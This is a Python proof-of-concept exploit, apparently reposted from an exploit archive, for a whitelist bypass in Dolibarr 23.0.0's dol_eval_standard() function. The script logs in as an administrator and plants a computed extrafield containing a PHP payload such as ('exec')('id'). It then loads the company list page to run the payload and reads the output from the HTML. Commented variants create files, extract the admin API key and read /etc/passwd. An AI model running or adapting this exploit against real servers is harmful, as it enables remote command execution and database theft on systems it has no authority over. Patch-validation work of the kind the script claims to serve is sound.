Share
## https://sploitus.com/exploit?id=PACKETSTORM:218534
#!/usr/bin/env python3
"""
Dolibarr 23.0.0 dol_eval_standard() Whitelist Bypass by Jiva (JivaSecurity.com)
Proof of Concept โ AUTHORIZED TESTING ONLY
The whitelist mode of dol_eval_standard() does not apply $forbiddenphpstrings
checks, and the function-call regex does not detect PHP dynamic callable syntax.
This allows ('exec')('cmd') to bypass all validation and reach eval().
Demonstrated impacts:
- Arbitrary file creation via new SplFileObject()
- Database exfiltration via Dolibarr ORM model classes
- OS command execution via ('exec')('cmd')
Usage: python3 dolibarr_pwn.py [--target URL] [--command CMD]
"""
import argparse
import re
import sys
import urllib.parse
try:
import requests
except ImportError:
print("[!] ERROR: 'requests' library required. Install with: pip install requests")
sys.exit(1)
class DolibarrRCEExploit:
"""Exploits dol_eval_standard() whitelist bypass via computed extrafields."""
EXTRAFIELD_NAME = "jiva_rce_poc"
EXTRAFIELD_LABEL = "JivaRcePoc"
EXTRAFIELD_PATH = "/societe/admin/societe_extrafields.php"
TRIGGER_PATH = "/societe/list.php"
def __init__(self, target, username, password, verify_ssl=False, verbose=False):
self.target = target.rstrip("/")
self.username = username
self.password = password
self.verbose = verbose
self.session = requests.Session()
self.session.verify = verify_ssl
self.csrf_token = None
self.exfiltrated_value = None
def log(self, level, msg):
prefix = {"info": "[*]", "success": "[+]", "error": "[-]", "debug": "[D]"}
if level == "debug" and not self.verbose:
return
print(f"{prefix.get(level, '[?]')} {msg}")
def _extract_csrf_token(self, html):
"""Extract CSRF token from HTML page."""
match = re.search(r'name="token"\s+value="([^"]+)"', html)
if not match:
match = re.search(r'meta\s+name="anti-csrf-newtoken"\s+content="([^"]+)"', html)
if match:
return match.group(1)
return None
def step1_authenticate(self):
"""Authenticate to Dolibarr web UI and establish a session."""
self.log("info", f"Authenticating to {self.target} as '{self.username}'...")
# Get login page for initial CSRF token and session cookie
resp = self.session.get(f"{self.target}/index.php", allow_redirects=False)
if resp.status_code != 200:
self.log("error", f"Failed to reach login page (HTTP {resp.status_code})")
return False
self.csrf_token = self._extract_csrf_token(resp.text)
if not self.csrf_token:
self.log("error", "Could not extract CSRF token from login page")
return False
self.log("debug", f"CSRF token: {self.csrf_token}")
# POST login
login_data = {
"token": self.csrf_token,
"actionlogin": "login",
"loginfunction": "loginfunction",
"username": self.username,
"password": self.password,
}
resp = self.session.post(
f"{self.target}/index.php?mainmenu=home",
data=login_data,
allow_redirects=True,
)
# Check for successful login indicators
if "logout" in resp.text.lower() or "mainmenu" in resp.text.lower():
self.log("success", "Authentication successful")
return True
self.log("error", "Authentication failed โ check credentials")
return False
def step2_get_csrf_token(self):
"""Fetch the extrafields admin page and extract a fresh CSRF token."""
self.log("info", "Fetching extrafields admin page for CSRF token...")
resp = self.session.get(f"{self.target}{self.EXTRAFIELD_PATH}")
if resp.status_code != 200:
self.log("error", f"Failed to load extrafields page (HTTP {resp.status_code})")
return False
self.csrf_token = self._extract_csrf_token(resp.text)
if not self.csrf_token:
self.log("error", "Could not extract CSRF token from extrafields page")
return False
self.log("debug", f"Fresh CSRF token: {self.csrf_token}")
# Check if our extrafield already exists
self._extrafield_exists = self.EXTRAFIELD_NAME in resp.text
self.log("debug", f"Extrafield '{self.EXTRAFIELD_NAME}' exists: {self._extrafield_exists}")
return True
def step3_create_extrafield(self, payload):
"""Create or update a computed extrafield with the exploit payload."""
action = "update" if self._extrafield_exists else "add"
self.log("info", f"{'Updating' if self._extrafield_exists else 'Creating'} "
f"computed extrafield '{self.EXTRAFIELD_NAME}'...")
self.log("info", f"Payload: {payload}")
form_data = {
"token": self.csrf_token,
"action": action,
"attrname": self.EXTRAFIELD_NAME,
"label": self.EXTRAFIELD_LABEL,
"type": "varchar",
"size": "255",
"pos": "200",
"computed_value": payload,
"list": "1",
"button": "Add attribute" if action == "add" else "Modify",
}
resp = self.session.post(
f"{self.target}{self.EXTRAFIELD_PATH}",
data=form_data,
allow_redirects=False,
)
if resp.status_code == 302:
self.log("success", f"Extrafield {action}d successfully (302 redirect)")
return True
# Check for error in response body
if "error" in resp.text.lower():
self.log("error", f"Extrafield {action} may have failed โ check response")
self.log("debug", resp.text[:500])
return False
self.log("success", f"Extrafield {action} returned HTTP {resp.status_code}")
return True
def step4_trigger_eval(self):
"""Trigger dol_eval() by loading the company list page."""
self.log("info", f"Triggering eval via {self.TRIGGER_PATH}...")
resp = self.session.get(f"{self.target}{self.TRIGGER_PATH}")
if resp.status_code != 200:
self.log("error", f"Trigger page returned HTTP {resp.status_code}")
return None
# Extract computed field value from rendered HTML
# Pattern: data-key="societe.jiva_rce_poc" title="VALUE"
pattern = (
r'data-key="societe\.' + re.escape(self.EXTRAFIELD_NAME)
+ r'"[^>]*title="([^"]*)"'
)
matches = re.findall(pattern, resp.text)
if matches:
self.exfiltrated_value = matches[0]
self.log("success", f"Eval triggered โ extracted value: {self.exfiltrated_value}")
return self.exfiltrated_value
# Fallback: check for value in td content
pattern2 = (
r'data-key="societe\.' + re.escape(self.EXTRAFIELD_NAME)
+ r'"[^>]*>([^<]+)<'
)
matches2 = re.findall(pattern2, resp.text)
if matches2:
self.exfiltrated_value = matches2[0].strip()
self.log("success", f"Eval triggered โ extracted value: {self.exfiltrated_value}")
return self.exfiltrated_value
# Check for eval error messages
if "Bad string syntax" in resp.text:
self.log("error", "dol_eval() rejected the payload โ syntax check failed")
err_match = re.search(r'Bad string syntax[^<]+', resp.text)
if err_match:
self.log("debug", err_match.group(0))
return None
self.log("error", "Could not find computed field value in response")
return None
def step5_cleanup(self):
"""Delete the PoC extrafield to leave the target clean."""
self.log("info", f"Cleaning up โ deleting extrafield '{self.EXTRAFIELD_NAME}'...")
# Re-fetch page for fresh CSRF token
resp = self.session.get(f"{self.target}{self.EXTRAFIELD_PATH}")
token = self._extract_csrf_token(resp.text)
if not token:
self.log("error", "Could not get CSRF token for cleanup")
return False
delete_data = {
"token": token,
"action": "delete",
"attrname": self.EXTRAFIELD_NAME,
}
resp = self.session.post(
f"{self.target}{self.EXTRAFIELD_PATH}",
data=delete_data,
allow_redirects=False,
)
if resp.status_code == 302:
self.log("success", "Extrafield deleted โ target cleaned up")
return True
self.log("error", f"Cleanup may have failed (HTTP {resp.status_code})")
return False
def run(self):
"""Execute the full exploit chain and return results."""
print("=" * 70)
print("Dolibarr dol_eval() Whitelist Bypass PoC - by Jiva (JivaSecurity.com)")
print("=" * 70)
print()
# Step 1: Authenticate
if not self.step1_authenticate():
return False
# Step 2: Get CSRF token from extrafields page
if not self.step2_get_csrf_token():
return False
# Step 3: Create extrafield with DB exfiltration payload
payload = (
# "(new SplFileObject('/tmp/rce_proof', 'w')) ? 'file_created' : 'blocked'"
# "(($var1 = new User($db)) && ($var1->fetchNoCompute(1) > 0)) ? $var1->api_key : 'failed'"
"('exec')('id')"
# "('exec')('id && hostname && cat /etc/passwd | head -5')"
)
if not self.step3_create_extrafield(payload):
return False
# Step 4: Trigger eval and extract result
result = self.step4_trigger_eval()
if result is None:
self.log("error", "Exploitation failed โ eval did not return expected output")
self.step5_cleanup()
return False
# Step 5: Cleanup
self.step5_cleanup()
# Print summary
print()
print("=" * 70)
print("EXPLOITATION SUMMARY")
print("=" * 70)
print(f" Target: {self.target}")
print(f" Vulnerability: dol_eval() whitelist bypass")
print(f" Author: Jiva (JivaSecurity.com)")
print(f" Writeup: https://jivasecurity.com/writeups/dolibarr-remote-code-execution-cve-2026-22666")
print(f" CVE: CVE-2026-22666 (Dolibarr 23.0.0 dol_eval_standard)")
print(f" CVSS: 9.1 (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)")
print(f" Payload: {payload}")
print(f" Exfiltrated: Admin API key = {result}")
print(f" Impact: Arbitrary PHP eval in whitelist mode allows")
print(f" class instantiation (SplFileObject, User, etc.)")
print(f" leading to file write and full DB read access.")
print("=" * 70)
if result == "FETCH_FAILED":
self.log("error", "Payload executed but fetchNoCompute returned failure")
return False
return True
def main():
parser = argparse.ArgumentParser(
description="Dolibarr 23.0.0 dol_eval() whitelist bypass PoC by Jiva (JivaSecurity.com)",
epilog="Authorized penetration testing and patch validation ONLY.",
)
parser.add_argument(
"--target", "-t",
default="http://0.0.0.0",
help="Target Dolibarr URL (default: http://0.0.0.0)",
)
parser.add_argument(
"--username", "-u",
default="admin",
help="Admin username (default: admin)",
)
parser.add_argument(
"--password", "-p",
default="admin",
help="Admin password (default: admin)",
)
parser.add_argument(
"--verbose", "-v",
action="store_true",
help="Enable verbose/debug output",
)
parser.add_argument(
"--no-cleanup",
action="store_true",
help="Skip cleanup (leave extrafield in place for inspection)",
)
args = parser.parse_args()
exploit = DolibarrRCEExploit(
target=args.target,
username=args.username,
password=args.password,
verbose=args.verbose,
)
success = exploit.run()
sys.exit(0 if success else 1)
if __name__ == "__main__":
main()